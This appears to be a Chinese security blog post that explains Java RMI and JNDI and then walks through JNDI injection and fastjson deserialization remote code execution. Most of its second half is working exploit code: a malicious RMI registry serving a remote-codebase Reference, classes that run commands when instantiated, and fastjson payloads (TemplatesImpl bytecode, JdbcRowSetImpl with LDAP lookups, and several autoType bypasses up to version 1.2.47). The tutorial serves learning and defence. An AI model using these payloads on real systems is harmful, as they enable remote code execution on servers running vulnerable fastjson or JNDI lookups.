RMI入门
什么是RMI
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,它的底层是由socket和java序列化和反序列化支撑起来的。
Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
我们知道远程过程调用(Remote Procedure Call, RPC)可以用于一个进程调用另一个进程(很可能在另一个远程主机上)中的过程,从而提供了过程的分布能力。Java 的 RMI 则在 RPC 的基础上向前又迈进了一步,即提供分布式对象间的通讯。
那么会引出以下几个问题?
1.远程对象的发现问题
在调用远程对象的方法之前需要一个远程对象的引用,如何获得这个远程对象的引用在RMI中是一个关键的问题?
答案:在我们日常使用网络时,基本上都是通过域名来定位一个网站,但是实际上网络是通过IP地址来定位网站的,因此其中就需要一个映射的过程,域名系统(DNS)就是为了这个目的出现的,在域名系统中通过域名来查找对应的IP地址来访问对应的服务器。那么对应的,IP地址在这里就相当于远程对象的引用,而DNS则相当于一个注册表(Registry)。而域名在RMI中就相当于远程对象的标识符,客户端通过提供远程对象的标识符访问注册表,来得到远程对象的引用。这个标识符是类似URL地址格式的,也就是后面我们所说的RMIRegistry。
2.数据的传递问题
我们都知道在Java程序中引用类型(不包括基本类型)的参数传递是按引用传递的,对于在同一个虚拟机中的传递时是没有问题的,因为的参数的引用对应的是同一个内存空间,但是对于分布式系统中,由于对象不再存在于同一个内存空间,虚拟机A的对象引用对于虚拟机B没有任何意义,问题如何解决?
当客户端通过RMI注册表找到一个远程接口的时候,所得到的其实是远程接口的一个动态代理对象。当客户端调用其中的方法的时候,方法的参数对象会在序列化之后,传输到服务器端。服务器端接收到之后,进行反序列化得到参数对象。并使用这些参数对象,在服务器端调用实际的方法。调用的返回值Java对象经过序列化之后,再发送回客户端。客户端再经过反序列化之后得到Java对象,返回给调用者。这中间的序列化过程对于使用者来说是透明的,由动态代理对象自动完成。
RMI的通信模型
从方法调用角度来看,RMI要解决的问题,是让客户端对远程方法的调用可以相当于对本地方法的调用而屏蔽其中关于远程通信的内容,即使在远程上,也和在本地上是一样的。
形象理解:实际上,客户端只与代表远程主机中对象的Stub对象进行通信,丝毫不知道Server的存在。客户端只是调用Stub对象中的本地方法,Stub对象是一个本地对象,它实现了远程对象向外暴露的接口,也就是说它的方法和远程对象暴露的方法的签名是相同的。客户端认为它是调用远程对象的方法,实际上是调用Stub对象中的方法。可以理解为Stub对象是远程对象在本地的一个代理,当客户端调用方法的时候,Stub对象会将调用通过网络传递给远程对象。
RMI远程调用步骤(图解)
1、客户对象调用客户端辅助对象上的方法
2、客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象
3、服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
4、调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象
5、服务端辅助对象将结果打包,发送给客户端辅助对象
6、客户端辅助对象将返回值解包,返回给客户对象
7、客户对象获得返回值
简单的实现
package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote { // Remote method should throw RemoteException public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { private static final long serialVersionUID = 1L; private String name; public HelloServiceImpl(String name) throws RemoteException { super(); this.name = name; // UnicastRemoteObject.exportObject(this, 0); } @Override public String service(String data) throws RemoteException { return data + name; }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); HelloService service1 = new HelloServiceImpl("service1"); Naming.rebind("rmi://localhost:1099/HelloService1",service1); } catch (RemoteException | MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Successfully register a remote object."); }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client { public static void main(String[] args) { // TODO Auto-generated method stub String url = "rmi://localhost:1099/"; try { HelloService serv = (HelloService) Naming.lookup(url + "HelloService1"); String data = "This is RMI Client."; System.out.println(serv.service(data)); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } }}
总结一句:Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
从代码中我们可以看出,远程接口中的所有方法必须声明它们可以引发异常 java.rmi.RemoteException
。RemoteException
当发生任何类型的网络错误时,都会引发此异常(实际上是的许多子类之一 ):例如,服务器可能崩溃,网络可能会失败,或者您可能由于某种原因而请求一个不可用的对象。
攻击RMI服务端
抓包
既然传输的时候需要经过序列化及反序列化,这要求相应的类必须实现 java.io.Serializable 接口,然而代码里面没看到?
请看如下:
作用
总结一句:Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
JNDI入门
什么是JNDI?
JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口,JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。放两张直观的图
使用JNDI的好处
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。
小小的Demo
package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; }}
package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test { public static void initPerson() throws Exception{ //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); 初始化 InitialContext ctx = new InitialContext(); //实例化person对象 Person p = new Person(); p.setName("Decade"); p.setPassword("xiaobai"); //person对象绑定到JNDI服务中,JNDI的名字叫做:person,即我们可以通过person键值,来对Person对象进行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了 InitialContext ctx = new InitialContext(); //通过lookup查找person对象 Person person = (Person) ctx.lookup("person"); //打印出这个对象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); }}
在运行的一瞬间,可以看到确实开放了3001端口
用Debug的状态来看
JNDI协议动态转换
在开始谈JNDI注入之前,先谈一谈为什么会引起JNDI注入。上面的Demo里面,在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时,是可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 RMi的 URI 格式去转换(该变)上下文环境,使之访问 RMI 服务上的绑定对象:
Person person = (Person) ctx.lookup("rmi://localhost:3001/person");
JNDI注入
可以看到得到同样的效果,但是如果这个lookup参数我们可以控制呢?
这里由于jdk版本(java1.8.231)过高,导致的没有攻击成功,这里为了简便用的是marshalsec反序列化工具
低版本测试?
这里选用的是jd k1.7.17版本。
import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); }}
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); }}
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}
一步一步跟踪,可以看到这里如果是Reference类的话,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址,如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
最终调用了GetObjectInsacne函数,跟踪到如下,这里有两处可以实现任意命令执行,分别是两处标红的代码。
可以看到最后用newInstance实例化了类,实例化会默认调用构造方法、静态代码块,那么也就执行了我们的whoami命令
当然这里会报错,那么我们修改一下ExecTest类的写法。
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("calc"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); }}
至于为什么要重写getObjectInstance方法,是因为这里用到的第二处可以任意命令执行的地方,如下图所示,就不会报错了。这就是整个jndi的一个实现过程。
JNDI的条件与限制
条件一:我们需要服务端存在以下代码,并且uri可控
String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);
条件二:jdk版本
可以看到要实现JNDI注入的话jdk版本需要符合一定条件,具体到哪个版本之后不能使用呢,笔者由于时间有限,并没一个一个测,如果有师傅愿意尝试的话可以去研究一下,当然这里也有限制
柳暗花明又一村
最先其实也说了,我们JNDI其实类似于一个api,而我测的代码也仅仅就只有rmi服务,我们下面测试一下ladp服务,当然也同样为了简便,用的是marshalsec反序列化工具,这里测试的jdk版本为jdk1.7.17
相对来说ldap使用范围更广,如下图所示fastjson反序列化-RCE
简介
fastjson是alibaba开源的一款高性能功能完善的JSON库,项目链接https://github.com/alibaba/fastjson/。
前置知识
import com.alibaba.fastjson.JSON;import java.util.Properties;public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public int getAge(){ System.out.println("getAge() is called"); return 1; } public void setName(String aa){ System.out.println("setName() is called"); this.name=aa; } public String getName(){ System.out.println("getName() is called"); return this.name; } public void setSex(boolean a){ System.out.println("setSex() is called"); this.sex = a; } public Boolean getSex(){ System.out.println("getSex() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public void setProp(Properties a){ System.out.println("setProp() is called"); this.prop=a; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}"; System.out.println("=========JSON.parseObject======"); Object obj1 = JSON.parseObject(jsonstr); System.out.println("=========JSON.parseObject指定类======"); Object obj3 = JSON.parseObject(jsonstr,User.class); System.out.println("=========JSON.parse======"); Object obj2 = JSON.parse(jsonstr); }}
这段代码就是在模拟Json字符串转换成User对象的过程,执行结果为:
@type用来指定Json字符串还原成哪个类对象,在反序列化过程中里面的一些函数被自动调用,Fastjson会根据内置策略选择如何调用这些函数,在文件com.alibaba.fastjson.util.JavaBeanInfo中有定义,简化如下
对于set函数主要有这几个条件:
1、方法名长度大于等于4 methodName.length() >= 42、方法名以set开头 method.getParameterTypes()2、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())3、方法的类型为void或者为类自身的类型 (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、参数个数为1 method.getParameterTypes()==1
对于get函数主要有这几个条件:
1、方法名长度大于等于4 methodName.length() >= 42、方法名以get开头且第四个字母为大写 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())4、方法不能有参数 method.getParameterTypes().length == 05、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())
谨记:
public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用。
在此之前请多加本地fuzz,这是理解fastjson的前置知识。
fastjson的安全特性
无参默认构造方法或者注解指定
Feature.SupportNonPublicField才能打开非公有属性的反序列化处理
@type可以指定反序列化任意类,(具体情况)调用其set,get方法
基于TemplatesImpl(1.2.22-1.2.24适用)
poc
适用范围:1.2.22-1.2.24
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } }}
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); }}
//pom.xml加上如下几个依赖 <dependency> <groupId>commons-codecgroupId> <artifactId>commons-codecartifactId> <version>1.10version> dependency> <dependency> <groupId>xalangroupId> <artifactId>xalanartifactId> <version>2.7.2version> dependency> <dependency> <groupId>commons-iogroupId> <artifactId>commons-ioartifactId> <version>2.3version> dependency>
基于JdbcRowSetImpl(<1.2.24)
poc
import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}
基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.41)
poc
利用条件之一,需要开启autoType
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}
基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.42)
poc
利用条件之一,需要开启autoType
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}
基于JdbcRowSetImpl(fastjson<=1.2.47)
poc
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{" + " \"a\": {" + " \"@type\": \"java.lang.Class\", " + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" + " }, " + " \"b\": {" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " + " \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " + " \"autoCommit\": true" + " }" + "}"; JSON.parse(json); }}
扫码关注
有趣的灵魂在等你